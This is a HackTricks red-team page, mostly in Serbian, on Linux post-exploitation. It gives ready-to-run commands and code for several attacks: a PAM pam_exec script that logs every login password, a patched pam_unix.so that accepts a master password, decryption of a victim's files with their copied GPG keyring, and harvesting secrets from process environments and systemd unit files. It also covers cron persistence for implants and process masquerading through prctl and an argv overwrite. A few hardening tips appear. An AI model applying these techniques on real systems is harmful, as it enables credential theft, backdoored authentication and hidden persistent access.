Linux Post-Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Sniffing Logon Passwords with PAM

Hajde da konfigurišemo PAM modul da beleži svaku lozinku koju korisnik unese pri prijavi. Ako ne znate šta je PAM, proverite:

PAM - Pluggable Authentication Modules

Za više detalja pogledajte originalni post. Ovo je samo sažetak:

Pregled tehnike: Pluggable Authentication Modules (PAM) omogućavaju fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj sažetak opisuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.

Hvatanje kredencijala:

  • Napravljena je bash skripta nazvana toomanysecrets.sh koja loguje pokušaje prijave, beležeći datum, korisničko ime ($PAM_USER), lozinku (preko stdin) i IP udaljenog hosta ($PAM_RHOST) u /var/log/toomanysecrets.log.
  • Skripta se učini izvršnom i integriše u PAM konfiguraciju (common-auth) koristeći modul pam_exec.so sa opcijama da radi tiho i izloži autentifikacioni token skripti.
  • Pristup pokazuje kako kompromitovan Linux host može biti iskorišćen za diskretno beleženje kredencijala.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Za više detalja pogledajte original post. Ovo je samo sažetak:

Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: username, password, i service. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu /etc/pam.d/, gde shared libraries obrađuju autentifikaciju.

Cilj: Izmeniti PAM da dozvoli autentifikaciju sa specifičnim password-om, zaobilazeći stvarni korisnički password. Ovo se posebno fokusira na pam_unix.so shared library koji koristi common-auth fajl, koji je uključen od strane skoro svih services za verifikaciju password-a.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • Linija koja je odgovorna za proveru korisnikovog password-a poziva pam_unix.so.
  1. Modify Source Code:
  • Dodajte uslovnu izjavu u pam_unix_auth.c source fajl koja odobrava pristup ako se koristi unapred definisani password, u suprotnom nastavlja uobičajen proces autentifikacije.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Pristup je odobren preko raznih services (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok normalni procesi autentifikacije ostaju nepromenjeni.

Tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Ako nađete enkriptovani .gpg fajl i korisnikov ~/.gnupg folder (pubring, private-keys, trustdb) ali ne možete da dešifrujete zbog GnuPG homedir permissions/locks, kopirajte keyring na mesto gde imate write pristup i koristite ga kao svoj GPG home.

Tipične greške koje ćete videti bez ovoga: “unsafe ownership on homedir”, “failed to create temporary file”, ili “decryption failed: No secret key” (jer GPG ne može da čita/piše originalni homedir).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Ako je materijal tajnog ključa prisutan u private-keys-v1.d, GPG će otključati i dekriptovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).

Harvesting credentials from process environment (containers included)

Kada dobijete code execution unutar servisa, proces često nasledi osetljive environment variables. To su rudnik za lateral movement.

Quick wins

  • Dump your current process env: env or printenv
  • Dump another process env: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • Add strings -z /proc/<PID>/environ if tr/sed aren’t handy
  • In containers, also check PID 1: tr '\0' '\n' </proc/1/environ

What to look for

  • App secrets and admin creds (for example, Grafana sets GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • Proxy and TLS overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Notes

  • Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
  • In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.

Systemd-stored credentials in unit files (Environment=)

Servisi koje pokreće systemd mogu upisati kredencijale u unit fajlove kao Environment= unose. Nabrojte i izdvojite ih:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operativni artefakti često leak lozinke (npr., backup skripte koje pozivaju zip -P <pwd>). Te vrednosti se često ponovo koriste u internim web UI-ima (Basic-Auth) ili drugim servisima.

Hardening

  • Premestite tajne u namenska skladišta (systemd-ask-password, EnvironmentFile sa zaključanim permisijama, ili eksterni secret managers)
  • Izbegavajte ubacivanje creds u unit fajlove; radije koristite drop-in fajlove čitljive samo root-u i uklonite ih iz version control
  • Rotirajte leaked lozinke otkrivene tokom testova

Cron-based persistence with loopback mutex

  • Kopirajte implantate u više writable putanja (/tmp, /var/tmp, /dev/shm, /run/lock) i instalirajte cron unose kao */5 * * * * /tmp/<bin> tako da se ponovo pokrenu čak i ako su uklonjeni negde drugo.
  • Obezbedite single-instance izvršavanje tako što ćete bind-ovati fiksni loopback port (na primer, 127.0.0.1:51125 ili 127.0.0.1:52225) i izaći ako bind() ne uspe; ss -lntp | grep -E '51125|52225' će otkriti mutex listener.
  • Operateri mogu povremeno masovno ubijati svaki proces čiji cmdline sadrži ime droppera (npr. init_stop), pa ponovno korišćenje tih imena tokom analize može dovesti do kolizije; birajte jedinstvena imena fajlova.

Process masquerading via prctl + argv overwrite

  • Podesite kratko ime procesa pomoću prctl(PR_SET_NAME, "<label>") (ograničenje od 15 bajtova za comm), često na init, tako da /proc/<pid>/status i GUI prikažu bezopasan label.
  • Prepišite in-memory argv[0] buffer nakon čitanja dužine /proc/self/cmdline i pokazivača argv[0], popunjavajući NUL-ovima tako da i /proc/<pid>/cmdline i ps prikažu lažni label.
  • Tražite poređenjem Name: u /proc/<pid>/status sa stvarnom putanjom izvršnog fajla i gledajući loopback mutex listenere koje poseduju procesi sa malim/praznim cmdline-ovima.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks